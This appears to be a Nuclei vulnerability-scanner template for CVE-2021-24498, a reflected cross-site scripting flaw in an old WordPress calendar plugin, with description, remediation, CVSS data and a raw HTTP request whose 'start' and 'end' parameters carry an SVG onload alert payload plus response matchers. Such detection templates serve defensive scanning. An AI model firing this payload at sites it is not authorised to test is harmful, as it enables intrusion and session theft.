id: CVE-2021-24498

info:
  name: WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting
  author: suman_kar
  severity: medium
  description: WordPress Calendar Event Multi View plugin before 1.4.01 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Calendar Event Multi View plugin to version 1.4.01 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24498
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24498
    cwe-id: CWE-79
    epss-score: 0.00161
    epss-percentile: 0.51755
    cpe: cpe:2.3:a:dwbooster:calendar_event_multi_view:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: dwbooster
    product: calendar_event_multi_view
    framework: wordpress
  tags: cve2021,cve,xss,wordpress,wp-plugin,wpscan,dwbooster

http:
  - raw:
      - |
        GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><svg/onload=alert(1)><'
          - 'Calendar Details'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a00463044022053f7aa1da929328cbebc337daa2af812dc588d126578f5cfae4ff8b30fcc5e2702203cec9721837ea172c547273360bc6802dc4fae7d289079e5b59e5f73b956c4f8:922c64590222798bb761d5b6d8e72950